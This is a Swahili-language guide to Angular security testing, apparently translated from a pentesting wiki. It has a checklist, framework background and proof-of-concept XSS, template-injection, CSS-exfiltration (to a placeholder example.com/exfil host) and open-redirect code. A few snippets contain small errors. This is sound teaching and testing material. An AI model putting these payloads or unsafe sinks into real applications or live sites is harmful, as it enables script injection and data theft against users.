604 lines
28 KiB
Markdown

# Angular
## The Checklist
Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
* [ ] Angular inachukuliwa kama mfumo wa upande wa mteja na haitarajiwi kutoa ulinzi wa upande wa seva
* [ ] Sourcemap kwa scripts imezimwa katika usanidi wa mradi
* [ ] Ingizo la mtumiaji lisiloaminika kila wakati linaingizwa au kusafishwa kabla ya kutumika katika templeti
* [ ] Mtumiaji hana udhibiti juu ya templeti za upande wa seva au upande wa mteja
* [ ] Ingizo la mtumiaji lisiloaminika linapaswa kusafishwa kwa kutumia muktadha sahihi wa usalama kabla ya kuaminiwa na programu
* [ ] Mbinu za `BypassSecurity*` hazitumiwi na ingizo lisiloaminika
* [ ] Ingizo la mtumiaji lisiloaminika halipitishwi kwa madarasa ya Angular kama vile `ElementRef`, `Renderer2` na `Document`, au vyanzo vingine vya JQuery/DOM
## What is Angular
Angular ni **nguzo** na **chanzo wazi** cha mfumo wa mbele kinachoshughulikiwa na **Google**. Inatumia **TypeScript** kuboresha usomaji wa msimbo na ufuatiliaji wa makosa. Pamoja na mitambo thabiti ya usalama, Angular inazuia udhaifu wa kawaida wa upande wa mteja kama vile **XSS** na **mwelekeo wazi**. Inaweza kutumika pia kwenye **seva**, hivyo kuzingatia usalama ni muhimu kutoka **pande zote**.
## Framework architecture
Ili kuelewa vyema misingi ya Angular, hebu tuangalie dhana zake muhimu.
Mradi wa kawaida wa Angular kawaida unaonekana kama:
```bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│ ├── app
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│ │ ├── app.component.ts #defines the logic for the application's root component
│ │ ├── app.component.html #defines the HTML template associated with the root component
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
│ │ ├── app.component.spec.ts #defines a unit test for the root component
│ │ └── app-routing.module.ts #provides routing capability for the application
│ ├── lib
│ │ └── src #library-specific configuration files
│ ├── index.html #main HTML page, where the component will be rendered in
│ └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
Kulingana na nyaraka, kila programu ya Angular ina angalau kipengele kimoja, kipengele cha mzizi (`AppComponent`) ambacho kinachanganya hierarchi ya vipengele na DOM. Kila kipengele kinafafanua darasa ambalo lina data na mantiki ya programu, na kinahusishwa na kiolezo cha HTML ambacho kinafafanua mtazamo wa kuonyeshwa katika mazingira ya lengo. Mshereheshaji `@Component()` unatambua darasa lililo chini yake kama kipengele, na unatoa kiolezo na metadata maalum ya kipengele. `AppComponent` imefafanuliwa katika faili `app.component.ts`.
NgModules za Angular zinatangaza muktadha wa uundaji wa seti ya vipengele ambayo imejitolea kwa eneo la programu, mtiririko wa kazi, au seti ya uwezo inayohusiana kwa karibu. Kila programu ya Angular ina moduli ya mzizi, ambayo kwa kawaida inaitwa `AppModule`, ambayo inatoa mekanizma ya kuanzisha inayozindua programu. Programu kwa kawaida ina moduli nyingi za kazi. `AppModule` imefafanuliwa katika faili `app.module.ts`.
NgModule ya Angular `Router` inatoa huduma inayokuruhusu kufafanua njia ya urambazaji kati ya majimbo tofauti ya programu na hierarchi za mtazamo katika programu yako. `RouterModule` imefafanuliwa katika faili `app-routing.module.ts`.
Kwa data au mantiki ambayo haihusiani na mtazamo maalum, na ambayo unataka kushiriki kati ya vipengele, unaunda darasa la huduma. Ufafanuzi wa darasa la huduma unatanguliwa mara moja na mshereheshaji `@Injectable()`. Mshereheshaji unatoa metadata inayoruhusu watoa huduma wengine kuingizwa kama utegemezi katika darasa lako. Uingizaji wa utegemezi (DI) unakuruhusu kuweka darasa lako la kipengele kuwa nyembamba na bora. Haziipati data kutoka kwa seva, kuthibitisha ingizo la mtumiaji, au kuandika moja kwa moja kwenye console; zinaweka kazi hizo kwa huduma.
## Mipangilio ya sourcemap
Msingi wa Angular unatafsiri faili za TypeScript kuwa msimbo wa JavaScript kwa kufuata chaguo za `tsconfig.json` na kisha kujenga mradi kwa usanidi wa `angular.json`. Tukiangalia faili ya `angular.json`, tuliona chaguo la kuwezesha au kuzima sourcemap. Kulingana na nyaraka za Angular, usanidi wa default una faili ya sourcemap iliyoanzishwa kwa scripts na haifichwi kwa default:
```json
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
```
Kwa ujumla, faili za sourcemap hutumiwa kwa madhumuni ya urekebishaji kwani zinachora faili zilizotengenezwa kwa faili zao za asili. Hivyo, haitashauriwa kuzitumia katika mazingira ya uzalishaji. Ikiwa sourcemaps zimewezeshwa, inaboresha uelewa na kusaidia katika uchambuzi wa faili kwa kurudisha hali ya asili ya mradi wa Angular. Hata hivyo, ikiwa zimezimwa, mtaftaji bado anaweza kuchambua faili ya JavaScript iliyokusanywa kwa mikono kwa kutafuta mifumo ya kupinga usalama.
Zaidi ya hayo, faili ya JavaScript iliyokusanywa na mradi wa Angular inaweza kupatikana katika zana za maendeleo za kivinjari → Vyanzo (au Debugger na Vyanzo) → \[id].main.js. Kulingana na chaguo zilizowekwa, faili hii inaweza kuwa na mstari ufuatao mwishoni `//# sourceMappingURL=[id].main.js.map` au inaweza isiwepo, ikiwa chaguo la **hidden** limewekwa kuwa **true**. Hata hivyo, ikiwa sourcemap imezimwa kwa **scripts**, upimaji unakuwa mgumu zaidi, na hatuwezi kupata faili hiyo. Aidha, sourcemap inaweza kuwezeshwa wakati wa kujenga mradi kama `ng build --source-map`.
## Data binding
Kufunga kunarejelea mchakato wa mawasiliano kati ya kipengee na mtazamo wake husika. Inatumika kwa kuhamasisha data kwenda na kurudi kutoka kwa mfumo wa Angular. Data inaweza kupitishwa kwa njia mbalimbali, kama vile kupitia matukio, uhamasishaji, mali, au kupitia mekanizma ya kufunga njia mbili. Aidha, data inaweza pia kushirikiwa kati ya vipengee vinavyohusiana (uhusiano wa mzazi-na-mwana) na kati ya vipengee viwili visivyohusiana kwa kutumia kipengele cha Huduma.
Tunaweza kuainisha kufunga kwa mtiririko wa data:
* Chanzo cha data hadi lengo la mtazamo (kinajumuisha _interpolation_, _properties_, _attributes_, _classes_ na _styles_); kinaweza kutumika kwa kutumia `[]` au `{{}}` katika kiolezo;
* Lengo la mtazamo hadi chanzo cha data (kinajumuisha _events_); kinaweza kutumika kwa kutumia `()` katika kiolezo;
* Njia Mbili; kinaweza kutumika kwa kutumia `[()]` katika kiolezo.
Kufunga kunaweza kuitwa kwenye mali, matukio, na sifa, pamoja na kwenye mwanachama yeyote wa umma wa mwelekeo wa chanzo:
| AINA | LENGO | MIFANO |
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
| Mali | Mali ya kipengee, Mali ya Kipengee, Mali ya Mwelekeo | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Tukio | Tukio la kipengee, Tukio la Kipengee, Tukio la Mwelekeo | \<button type="button" (click)="onSave()">Save |
| Njia Mbili| Tukio na mali | \<input \[(ngModel)]="name"> |
| Sifa | Sifa (kipekee) | \<button type="button" \[attr.aria-label]="help">help |
| Darasa | mali ya darasa | \<div \[class.special]="isSpecial">Special |
| Mtindo | mali ya mtindo | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
## Mfano wa usalama wa Angular
Muundo wa Angular unajumuisha usimbaji au usafi wa data zote kwa chaguo-msingi, na kufanya iwe ngumu zaidi kugundua na kutumia udhaifu wa XSS katika miradi ya Angular. Kuna hali mbili tofauti za kushughulikia data:
1. Uhamasishaji au `{{user_input}}` - inatekeleza usimbaji wa muktadha na inatafsiri pembejeo ya mtumiaji kama maandiko;
```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
{{test}}
```
Matokeo: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2. Kufunga kwa mali, sifa, madarasa na mitindo au `[attribute]="user_input"` - inatekeleza usafi kulingana na muktadha wa usalama uliotolewa.
```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHtml]="test"></div>
```
Matokeo: `<div><h1>test</h1></div>`
Kuna aina 6 za `SecurityContext`:
* `None`;
* `HTML` inatumika, wakati wa kutafsiri thamani kama HTML;
* `STYLE` inatumika, wakati wa kufunga CSS kwenye mali ya `style`;
* `URL` inatumika kwa mali za URL, kama vile `<a href>`;
* `SCRIPT` inatumika kwa msimbo wa JavaScript;
* `RESOURCE_URL` kama URL inayopakiwa na kutekelezwa kama msimbo, kwa mfano, katika `<script src>`.
## Udhaifu
### Kupita Njia za Kuamini Usalama
Angular inintroduce orodha ya mbinu za kupita mchakato wake wa usafi wa chaguo-msingi na kuashiria kwamba thamani inaweza kutumika kwa usalama katika muktadha maalum, kama katika mifano mitano ifuatayo:
1. `bypassSecurityTrustUrl` inatumika kuashiria kwamba thamani iliyotolewa ni URL salama ya mtindo:
```jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
//matokeo
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```
2. `bypassSecurityTrustResourceUrl` inatumika kuashiria kwamba thamani iliyotolewa ni URL salama ya rasilimali:
```jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//matokeo
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml` inatumika kuashiria kwamba thamani iliyotolewa ni HTML salama. Kumbuka kwamba kuingiza vipengele vya `script` katika mti wa DOM kwa njia hii hakutafanya zitekeleze msimbo wa JavaScript uliofungwa, kwa sababu ya jinsi vipengele hivi vinavyoongezwa kwenye mti wa DOM.
```jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//matokeo
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript` inatumika kuashiria kwamba thamani iliyotolewa ni JavaScript salama. Hata hivyo, tumegundua tabia yake kuwa isiyo na uhakika, kwa sababu hatungeweza kutekeleza msimbo wa JS katika kiolezo kwa kutumia mbinu hii.
```jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
//app.component.html
<script [innerHtml]="trustedScript"></script>
//matokeo
-
```
5. `bypassSecurityTrustStyle` inatumika kuashiria kwamba thamani iliyotolewa ni CSS salama. Mfano ufuatao unaonyesha kuingiza CSS:
```jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//matokeo
Request URL: GET example.com/exfil/a
```
Angular inatoa mbinu ya `sanitize` kusafisha data kabla ya kuonyesha katika maoni. Mbinu hii inatumia muktadha wa usalama uliotolewa na inasafisha pembejeo ipasavyo. Hata hivyo, ni muhimu kutumia muktadha sahihi wa usalama kwa data na muktadha maalum. Kwa mfano, kutumia msafishaji na `SecurityContext.URL` kwenye maudhui ya HTML hakupatii ulinzi dhidi ya thamani hatari za HTML. Katika hali kama hizo, matumizi mabaya ya muktadha wa usalama yanaweza kusababisha udhaifu wa XSS.
### Kuingiza HTML
Udhaifu huu hutokea wakati pembejeo ya mtumiaji inafungwa kwenye mojawapo ya mali tatu: `innerHTML`, `outerHTML`, au `iframe` `srcdoc`. Wakati wa kufunga kwenye sifa hizi inatafsiri HTML kama ilivyo, pembejeo inasafishwa kwa kutumia `SecurityContext.HTML`. Hivyo, kuingiza HTML kunawezekana, lakini uandishi wa msalaba (XSS) hauwezekani.
Mfano wa kutumia `innerHTML`:
```jsx
//app.component.ts
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}
//app.component.html
<div [innerHTML]="test"></div>
```
<div><h1>test</h1></div>
### Template injection
#### Client-Side Rendering (CSR)
Angular inatumia templates kujenga kurasa kwa njia ya kidinamik. Njia hii inahusisha kuweka maelezo ya template ili Angular iweze kuyathibitisha ndani ya mabano mawili ya curly (`{{}}`). Kwa njia hii, mfumo unatoa kazi za ziada. Kwa mfano, template kama `{{1+1}}` itakuwa inaonyesha kama 2.
Kwa kawaida, Angular inakimbia pembejeo za mtumiaji ambazo zinaweza kuchanganywa na maelezo ya template (mfano, wahusika kama \`< > ' " \`\`). Inamaanisha kwamba hatua za ziada zinahitajika ili kupita kizuizi hiki, kama vile kutumia kazi zinazozalisha vitu vya mfuatano wa JavaScript ili kuepuka kutumia wahusika waliokatazwa. Hata hivyo, ili kufikia hili, tunapaswa kuzingatia muktadha wa Angular, mali zake, na mabadiliko. Hivyo, shambulio la template injection linaweza kuonekana kama ifuatavyo:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
```
Kama ilivyoonyeshwa hapo juu: `constructor` inahusisha upeo wa mali ya Object `constructor`, ikituwezesha kuita mjenzi wa String na kutekeleza msimbo wowote.
#### Uwasilishaji wa Kwanza wa Server (SSR)
Tofauti na CSR, ambayo inatokea katika DOM ya kivinjari, Angular Universal inawajibika kwa SSR ya faili za templeti. Faili hizi kisha zinawasilishwa kwa mtumiaji. Licha ya tofauti hii, Angular Universal inatumia mitambo sawa ya kusafisha inayotumika katika CSR ili kuboresha usalama wa SSR. Uwezo wa kuingiza templeti katika SSR unaweza kugundulika kwa njia sawa na katika CSR, kwa sababu lugha ya templeti inayotumika ni ile ile.
Kwa hakika, pia kuna uwezekano wa kuanzisha udhaifu mpya wa kuingiza templeti wakati wa kutumia injini za templeti za upande wa tatu kama Pug na Handlebars.
### XSS
#### Interfaces za DOM
Kama ilivyosemwa hapo awali, tunaweza kufikia moja kwa moja DOM kwa kutumia interface ya _Document_. Ikiwa ingizo la mtumiaji halijathibitishwa kabla, linaweza kusababisha udhaifu wa kuandika msimbo wa wavuti (XSS).
Tulitumia mbinu za `document.write()` na `document.createElement()` katika mifano hapa chini:
```jsx
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
```
#### Madarasa ya Angular
Kuna baadhi ya madarasa ambayo yanaweza kutumika kufanya kazi na vipengele vya DOM katika Angular: `ElementRef`, `Renderer2`, `Location` na `Document`. Maelezo ya kina ya madarasa mawili ya mwisho yanapatikana katika sehemu ya **Open redirects**. Tofauti kuu kati ya ya kwanza ni kwamba API ya `Renderer2` inatoa tabaka la ufafanuzi kati ya kipengele cha DOM na msimbo wa kipengele, wakati `ElementRef` inashikilia tu rejeleo kwa kipengele. Hivyo, kulingana na nyaraka za Angular, API ya `ElementRef` inapaswa kutumika tu kama njia ya mwisho wakati ufikiaji wa moja kwa moja wa DOM unahitajika.
* `ElementRef` ina mali ya `nativeElement`, ambayo inaweza kutumika kubadilisha vipengele vya DOM. Hata hivyo, matumizi yasiyo sahihi ya `nativeElement` yanaweza kusababisha udhaifu wa XSS injection, kama inavyoonyeshwa hapa chini:
```tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
```
* Ingawa `Renderer2` inatoa API ambayo inaweza kutumika kwa usalama hata wakati ufikiaji wa moja kwa moja wa vipengele asilia haukubaliki, bado ina mapungufu fulani ya usalama. Kwa `Renderer2`, inawezekana kuweka sifa kwenye kipengele cha HTML kwa kutumia njia ya `setAttribute()`, ambayo haina mitambo ya kuzuia XSS.
```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
```
* Ili kuweka mali ya kipengele cha DOM, unaweza kutumia njia ya `Renderer2.setProperty()` na kuanzisha shambulio la XSS:
```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
```
Wakati wa utafiti wetu, pia tulichunguza tabia ya njia nyingine za `Renderer2`, kama vile `setStyle()`, `createComment()`, na `setValue()`, kuhusiana na XSS na sindano za CSS. Hata hivyo, hatukuweza kupata njia halali za shambulio kwa njia hizi kutokana na mipaka yao ya kazi.
#### jQuery
jQuery ni maktaba ya JavaScript yenye kasi, ndogo, na yenye vipengele vingi ambayo inaweza kutumika katika mradi wa Angular kusaidia na kubadilisha vitu vya HTML DOM. Hata hivyo, kama inavyojulikana, mbinu za maktaba hii zinaweza kutumika vibaya ili kufikia udhaifu wa XSS. Ili kujadili jinsi baadhi ya mbinu dhaifu za jQuery zinavyoweza kutumika katika miradi ya Angular, tumeongeza sehemu hii.
* Njia ya `html()` inapata maudhui ya HTML ya kipengele cha kwanza katika seti ya vipengele vilivyolingana au kuweka maudhui ya HTML ya kila kipengele kilicholingana. Hata hivyo, kwa muundo, mjenzi wowote wa jQuery au njia inayokubali mfuatano wa HTML inaweza kutekeleza msimbo. Hii inaweza kutokea kwa sindano ya vitambulisho vya `<script>` au matumizi ya sifa za HTML zinazotekeleza msimbo kama inavyoonyeshwa katika mfano.
```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Click me</button>
<p>some text here</p>
```
* Njia ya `jQuery.parseHTML()` inatumia mbinu za asili kubadilisha mfuatano kuwa seti ya nodi za DOM, ambazo zinaweza kuingizwa katika hati.
```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Kama ilivyotajwa hapo awali, APIs nyingi za jQuery zinazokubali mfuatano wa HTML zitaendesha skripti ambazo zimejumuishwa katika HTML. Njia ya `jQuery.parseHTML()` haiendeshi skripti katika HTML iliyochambuliwa isipokuwa `keepScripts` iwe wazi `true`. Hata hivyo, bado inawezekana katika mazingira mengi kutekeleza skripti kwa njia isiyo ya moja kwa moja; kwa mfano, kupitia sifa ya `<img onerror>`.
```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
```
### Open redirects
#### Interfaces za DOM
Kulingana na nyaraka za W3C, vitu vya `window.location` na `document.location` vinachukuliwa kama majina sawa katika vivinjari vya kisasa. Ndio maana wana utekelezaji sawa wa baadhi ya mbinu na mali, ambayo inaweza kusababisha uelekeo wazi na XSS ya DOM kwa mashambulizi ya `javascript://` kama ilivyoelezwa hapa chini.
* `window.location.href`(na `document.location.href`)
Njia ya kawaida ya kupata kipengele cha sasa cha DOM ni kutumia `window.location`. Inaweza pia kutumika kuhamasisha kivinjari kwenda kwenye ukurasa mpya. Kama matokeo, kuwa na udhibiti juu ya kipengele hiki kunatuwezesha kutumia udhaifu wa uelekeo wazi.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
Mchakato wa kutumia udhaifu ni sawa kwa hali zifuatazo.
* `window.location.assign()`(na `document.location.assign()`)
Njia hii inasababisha dirisha kupakia na kuonyesha hati kwenye URL iliyotolewa. Ikiwa tuna udhibiti juu ya njia hii, inaweza kuwa mahali pa shambulio la uelekeo wazi.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
```
* `window.location.replace()`(na `document.location.replace()`)
Njia hii inachukua rasilimali ya sasa na kuibadilisha na ile iliyoko kwenye URL iliyotolewa.
Hii inatofautiana na njia ya `assign()` kwa kuwa baada ya kutumia `window.location.replace()`, ukurasa wa sasa hautahifadhiwa katika Historia ya kikao. Hata hivyo, pia inawezekana kutumia udhaifu wa uelekeo wazi tunapokuwa na udhibiti juu ya njia hii.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
```
* `window.open()`
Njia ya `window.open()` inachukua URL na kupakia rasilimali inayotambulika katika tab au dirisha jipya au lililopo. Kuwa na udhibiti juu ya njia hii pia kunaweza kuwa fursa ya kuanzisha udhaifu wa XSS au uelekeo wazi.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
```
#### Madarasa ya Angular
* Kulingana na nyaraka za Angular, Angular `Document` ni sawa na hati ya DOM, ambayo inamaanisha inawezekana kutumia njia za kawaida za hati ya DOM ili kutumia udhaifu wa upande wa mteja katika Angular. Mali na mbinu za `Document.location` zinaweza kuwa mahali pa mashambulizi ya uelekeo wazi kama inavyoonyeshwa katika mfano:
```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
* Wakati wa awamu ya utafiti, pia tulikagua darasa la Angular `Location` kwa udhaifu wa uelekeo wazi, lakini hatukuweza kupata njia halali. `Location` ni huduma ya Angular ambayo programu zinaweza kutumia kuingiliana na URL ya sasa ya kivinjari. Huduma hii ina mbinu kadhaa za kubadilisha URL iliyotolewa - `go()`, `replaceState()`, na `prepareExternalUrl()`. Hata hivyo, hatuwezi kuzitumia kwa uelekeo wa kikoa cha nje. Kwa mfano:
```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
```
Matokeo: `http://localhost:4200/http://google.com/about`
* Darasa la Angular `Router` linatumika hasa kwa kuhamasisha ndani ya kikoa kimoja na halileti udhaifu wowote wa ziada kwa programu:
```jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
```
Matokeo: `http://localhost:4200/https:`
Mbinu zifuatazo pia huhamasisha ndani ya kikoa cha kikoa:
```jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
```
## Marejeleo
* [Angular](https://angular.io/)
* [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
* [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
* [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
* [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist)
* [Workspace and project file structure](https://angular.io/guide/file-structure)
* [Introduction to components and templates](https://angular.io/guide/architecture-components)
* [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration)
* [Binding syntax](https://angular.io/guide/binding-syntax)
* [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
* [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [jQuery API Documentation](http://api.jquery.com/)
* [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)